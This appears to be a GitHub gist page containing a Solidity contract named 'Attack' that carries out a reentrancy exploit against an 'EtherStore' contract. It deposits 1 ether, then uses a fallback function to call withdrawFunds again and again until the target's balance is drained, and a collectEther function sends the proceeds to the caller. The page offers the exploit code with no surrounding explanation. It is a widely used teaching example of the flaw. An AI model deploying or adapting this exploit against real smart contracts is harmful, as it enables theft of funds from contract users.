Skip to content

Instantly share code, notes, and snippets.

@ac12644
Last active March 22, 2022 17:43
Show Gist options
  • Save ac12644/efb0014fca09ef7348135b9e0d068d27 to your computer and use it in GitHub Desktop.
Save ac12644/efb0014fca09ef7348135b9e0d068d27 to your computer and use it in GitHub Desktop.
Contract Attack
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialize the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function attackEtherStore() external payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment